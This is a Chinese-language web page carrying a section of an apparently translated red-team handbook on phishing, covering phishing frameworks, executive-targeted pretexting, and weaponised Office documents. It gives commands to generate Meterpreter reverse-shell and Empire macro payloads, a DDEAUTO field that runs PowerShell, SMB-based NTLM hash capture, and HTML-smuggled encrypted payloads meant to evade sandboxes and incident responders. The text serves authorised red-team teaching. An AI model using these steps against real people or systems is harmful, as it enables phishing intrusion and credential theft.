返回介绍

5.2 网络钓鱼

发布于 2024-10-13 11:41:08 字数 5960 浏览 0 评论 0 收藏 0

红队取得巨大“成功”的另一项技术是传统的网络钓鱼。网络钓鱼的成功关键在于恐惧、紧迫性或者听起来好得令人难以置信的事情。恐惧和紧迫性确实发挥了作用,我相信很多读者以前都经历过这种情况。恐惧和紧迫性类型攻击包括以下一些情况。

  • 欺诈性购买的虚假电子邮件。
  • 有人入侵了您的电子邮件。
  • 有关税务欺诈的电子邮件。

对于这些一般性攻击,我们注意到公司员工变得越来越聪明。通常采用基本的网络钓鱼攻击,每 10 封电子邮件中至少有 1 封邮件被上报。在某些情况下数量要更多。持续监控这些简单的网络钓鱼攻击,确保公司是否能够更好地应对这些情况,对于红队来说是非常有价值的。

对于那些寻求更多自动化攻击的人来说,可能更愿意选择 Gophish,因为它很容易设置和维护,支持模板和 HTML,并跟踪/记录您需要的一切。如果您是 Ruby 的爱好者,那么有 Phishing Frenzy;对于 Python,有 King Phisher。

这些自动化工具非常适合记录简单的网络钓鱼行为。对于目标开展行动,我们更多地采用手动的方法。例如,如果我们通过侦察,获得被攻击者的邮件记录,确认客户使用 Office 365,那么我们就需要弄清楚,如何使用该信息构建一个非常逼真的行动。此外,我们会尝试查找该公司泄露的任何电子邮件、可能正在运行的程序、新功能、系统升级、合并以及有用的任何其他信息。

有时我们还会开展更有针对性的行动。在这些行动中,我们尝试使用所有开源工具来搜索有关人员、资产、家庭等相关的信息。例如,如果针对高管,我们会在 pipl.com 上搜索他们的资料,并伪造一封来自学校的电子邮件,告诉他们需要打开这个 Word 文档。这些操作可能会花费相当长的时间,但成功率却很高。

5.2.1 Microsoft Word/Excel 宏文件

一种较早出现但经过实践检验的社会工程方法是向被攻击者发送恶意的 Microsoft Office 文件。为什么 Office 文件非常适合恶意静荷?因为在默认情况下,Office 文件支持 Visual Basic for Applications(VBA),允许代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但使用混淆方法后,在许多情况下仍然非常有效。

通常,我们可以使用 Empire 或 Unicorn 创建 VBA 宏。

(1)使用 Empire。

  • 选择 Macro Stager。
    • usestager windows/macro
  • 确保进行正确的设置。
    • info
  • 创建宏。
    • generate

(2)如果您想为 Meterpreter 创建静荷,那么可以使用像 Unicorn 这样的工具。

  • cd/opt/unicorn。
  • ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro。
  • 启动 Metasploit 监听程序。
    • msfconsole-r./unicorn.rc

载荷生成后如图 5.2 所示。

0502

图 5.2

如您所见,上面示例中运行的是一个简单的 PowerShell base64 混淆脚本。这可以绕过一些杀毒软件产品,重要的是,确保在进行实际的行动之前,对其进行测试。在生成宏后,您可以快速创建一个 Excel 文档,如图 5.3 所示。

0503

图 5.3

  • 打开 Excel。
  • 转到“视图”选项卡→“宏”→“查看宏”。
  • 添加宏名称,为 book1 配置宏,然后单击“创建”按钮。
  • 用生成的代码替换所有当前的宏代码,如图 5.4 所示。
  • 另存为.xls(Word 97—Word 2003)格式或 Excel 宏启用。

0504

图 5.4

现在,当用户打开您的文档时,他们都会收到安全警告和启用内容的按钮,如图 5.5 所示。如果您可以欺骗被攻击者单击“Enable Content”(启用内容)按钮,PowerShell 脚本将会执行,从而获得 Empire Shell。

0505

图 5.5

如前所述,由于 Macro 方法是一种出现很久的攻击方法,因此许多被攻击者可能已经开始提防这种攻击。我们可以使用 Office 文件的另一个攻击方法,将静荷嵌入批处理文件(.bat)。在较新版本的 Office 中,如果被攻击者双击 Word 文档中的.bat 文件,则不会执行对象。我们通常要“欺骗”他们,将.bat 文件移动到桌面并执行,如图 5.6 所示。

0506

图 5.6

我们可以使用 LuckyStrike 以更自动化的方式完成此操作。使用 LuckyStrike,我们可以在工作表中使用静荷创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(EXE),EXE 文件可以使用 ReflectivePE 在内存中运行。

我介绍的 Office 文件可执行文件的最后一个工具是 VBad。在运行 VBad 时,必须在 Office 中启用宏,并在宏安全设置中选中“信任对 VBA 项目对象模型的访问”复选框。这允许 VBad Python 代码更改并创建宏。

VBad 对 MS Office 文档中的静荷做了深层次的混淆处理,如图 5.7 所示。VBad 还增加了加密功能,采用假密钥方式迷惑了应急响应团队,最重要的是,它可以在第一次成功运行后破坏加密密钥(一次性恶意软件)。VBad 的另一个特性是还可以删除静荷模块的引用,这样 VBA 开发工具无法查看静荷,这使得分析和调试变得更加困难。因此,不仅逆向分析很难完成,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,那么所有密钥都将丢失。

0507

图 5.7

5.2.2 非宏 Office 文件 - DDE

红队攻击的一个特点是,有时候时间点非常重要。在我们的一次评估中,首次发现了一个名为 DDE 的全新漏洞。任何杀毒软件或安全产品尚未检测到它,因此这是我们获得初始入口点的“好”方法。虽然现在有几种安全产品可以检测 DDE,但在某些环境中它仍然可能是一种可行的攻击方式。

什么是 DDE

Windows 提供了几种在应用程序之间传输数据的方法,其中一种方法是使用动态数据交换(DDE)协议。DDE 协议定义消息的格式和规则。DDE 协议在共享数据的应用程序之间发送消息,并使用共享内存交换应用程序之间的数据。应用程序可以使用 DDE 协议进行一次性数据传输和持续的数据传输。

Sensepost 团队做了一些研究,发现 MS Excel 和 MS Word 公开 DDE 执行接口,无须使用宏,可以执行代码,如图 5.8 所示。

0508

图 5.8

在 Word 中执行以下操作。

  • 选择“插入”选项卡→“快速部分”→“字段”。
  • 选择“公式”。
  • 右键单击:!意外的公式结束并选择切换域代码。
  • 将静荷更改为您的静荷。
    • DDEAUTO c:\windows\system32\cmd.exe "/k powershell.exe [empire payload here]"

Empire 有一个 stager,它将自动创建 Word 文件和关联的 PowerShell 脚本,如图 5.9 所示。这个 stager 可以通过以下方式配置。

0509

图 5.9

  • usestager windows / macroless_msword。

有一种攻击会导致被攻击者向互联网上的攻击者服务器发出 SMB 请求,从而可以搜集被攻击者的 NTLM 鉴权散列值。这可能有效,也可能无效,因为现在大多数公司阻止 SMB 相关端口外联。对于那些无效的被攻击者,我们可以利用错误配置,实施 subdoc_inector 攻击。

5.2.3 隐藏的加密静荷

作为红队,我们一直在寻找创造性方法,构建目标网页,加密静荷,并诱使用户单击运行。两个具有类似处理流程的不同工具是 EmbededInHTML 和 demiguise。

第一个工具 EmbededInHTML 首先获取文件(任何类型的文件),加密文件,并将其作为资源嵌入 HTML 文件中,以及自动下载程序(用于响应用户单击嵌入资源),然后,当用户浏览 HTML 文件时,嵌入式文件即时解密,保存在临时文件夹中,接着将文件呈现给用户,就像从远程站点下载一样,这具体取决于用户的浏览器和显示的文件类型,该文件可以由浏览器自动打开,如图 5.10 所示。

  • cd /op/EmbedInHTML。
  • python embedInHTML.py -k keypasshere -f meterpreter.xll –o index.html –w。

一旦被攻击者访问恶意站点,弹出窗口就会提示被攻击者 Excel 正打开.xll 文件。注意,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行静荷。此时是您的社会工程技巧发挥作用的时候了。

0510

图 5.10

第二个工具 demiguise 生成包含加密的 HTA 文件的.html 文件。思路是当被攻击者访问页面时,页面获取密钥,在浏览器中动态解密 HTA,并直接呈现给用户。这是一种规避检测技术,绕过某些安全设备的内容/文件类型检查的方法。这个工具不是为了创建出色的 HTA 内容而设计的,还有其他工具/技术可以帮助您完成此操作。这个工具的用途在于帮助 HTA 首先进入一个环境,避免被沙箱分析(如果您使用环境密钥)。

  • python demiguise.py -k hello –c "cmd.exe/c <powershell_command_here>" - p Outlook. Application -o test.hta。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文